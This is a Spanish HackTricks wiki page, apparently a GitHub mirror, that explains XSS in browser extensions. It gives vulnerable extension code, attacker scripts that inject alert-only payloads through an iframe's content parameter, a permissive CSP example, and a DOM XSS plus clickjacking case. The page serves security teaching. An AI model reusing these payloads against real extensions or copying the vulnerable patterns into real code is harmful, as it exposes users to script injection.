mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
120 lines
7.4 KiB
Markdown
120 lines
7.4 KiB
Markdown
# BrowExt - Ejemplo de XSS
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
|
|
|
</details>
|
|
|
|
## Cross-Site Scripting (XSS) a través de Iframe
|
|
|
|
En esta configuración, se implementa un **script de contenido** para instanciar un Iframe, incorporando una URL con parámetros de consulta como la fuente del Iframe:
|
|
```javascript
|
|
chrome.storage.local.get("message", result => {
|
|
let constructedURL = chrome.runtime.getURL("message.html") +
|
|
"?content=" + encodeURIComponent(result.message) +
|
|
"&redirect=https://example.net/details";
|
|
frame.src = constructedURL;
|
|
});
|
|
```
|
|
Una página HTML de acceso público, **`message.html`**, está diseñada para agregar dinámicamente contenido al cuerpo del documento basado en los parámetros en la URL:
|
|
```javascript
|
|
$(document).ready(() => {
|
|
let urlParams = new URLSearchParams(window.location.search);
|
|
let userContent = urlParams.get("content");
|
|
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
|
|
$('#detailBtn').on('click', () => {
|
|
let destinationURL = urlParams.get("redirect");
|
|
chrome.tabs.create({ url: destinationURL });
|
|
});
|
|
});
|
|
```
|
|
Un script malicioso se ejecuta en la página de un adversario, modificando el parámetro `content` de la fuente del Iframe para introducir un **payload XSS**. Esto se logra actualizando la fuente del Iframe para incluir un script dañino:
|
|
```javascript
|
|
setTimeout(() => {
|
|
let targetFrame = document.querySelector("iframe").src;
|
|
let baseURL = targetFrame.split('?')[0];
|
|
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
|
|
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;
|
|
|
|
document.querySelector("iframe").src = maliciousURL;
|
|
}, 1000);
|
|
```
|
|
Una Política de Seguridad de Contenido excesivamente permisiva como:
|
|
```json
|
|
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
|
|
```
|
|
Permite la ejecución de JavaScript, lo que hace que el sistema sea vulnerable a ataques XSS.
|
|
|
|
Un enfoque alternativo para provocar el XSS implica crear un elemento Iframe y establecer su origen para incluir el script dañino como el parámetro `content`:
|
|
```javascript
|
|
let newFrame = document.createElement("iframe");
|
|
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
|
|
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
|
|
document.body.append(newFrame);
|
|
```
|
|
## XSS basado en DOM + ClickJacking
|
|
|
|
Este ejemplo fue tomado del [post original](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).
|
|
|
|
El problema principal surge de una vulnerabilidad de Cross-site Scripting (XSS) basada en DOM ubicada en **`/html/bookmarks.html`**. El JavaScript problemático, parte de **`bookmarks.js`**, se detalla a continuación:
|
|
```javascript
|
|
$('#btAdd').on('click', function() {
|
|
var bookmarkName = $('#txtName').val();
|
|
if ($('.custom-button .label').filter(function() {
|
|
return $(this).text() === bookmarkName;
|
|
}).length) return false;
|
|
|
|
var bookmarkItem = $('<div class="custom-button">');
|
|
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
|
|
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
|
|
bookmarkItem.attr('data-title', bookmarkName);
|
|
bookmarkItem.data('timestamp', (new Date().getTime()));
|
|
$('section.bookmark-container .existing-items').append(bookmarkItem);
|
|
persistData();
|
|
});
|
|
```
|
|
Este fragmento obtiene el **valor** del campo de entrada **`txtName`** y utiliza **concatenación de cadenas para generar HTML**, que luego se añade al DOM utilizando la función `.append()` de jQuery.
|
|
|
|
Normalmente, la Política de Seguridad de Contenido (CSP) de la extensión de Chrome evitaría tales vulnerabilidades. Sin embargo, debido a la **relajación de CSP con 'unsafe-eval'** y al uso de los métodos de manipulación del DOM de jQuery (que emplean [`globalEval()`](https://api.jquery.com/jquery.globaleval/) para pasar scripts a [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) al insertar en el DOM), la explotación sigue siendo posible.
|
|
|
|
Aunque esta vulnerabilidad es significativa, su explotación suele depender de la interacción del usuario: visitar la página, introducir un payload XSS y activar el botón "Agregar".
|
|
|
|
Para potenciar esta vulnerabilidad, se explota una vulnerabilidad secundaria de **clickjacking**. El manifiesto de la extensión de Chrome muestra una extensa política `web_accessible_resources`:
|
|
```json
|
|
"web_accessible_resources": [
|
|
"html/bookmarks.html",
|
|
"dist/*",
|
|
"assets/*",
|
|
"font/*",
|
|
[...]
|
|
],
|
|
```
|
|
Notablemente, la página **`/html/bookmarks.html`** es propensa al enmarcado, por lo tanto vulnerable al **clickjacking**. Esta vulnerabilidad se aprovecha para enmarcar la página dentro del sitio de un atacante, superponiéndola con elementos DOM para rediseñar la interfaz de manera engañosa. Esta manipulación lleva a las víctimas a interactuar con la extensión subyacente de manera no intencionada.
|
|
|
|
## Referencias
|
|
|
|
* [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
|
|
* [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
|
|
|
</details>
|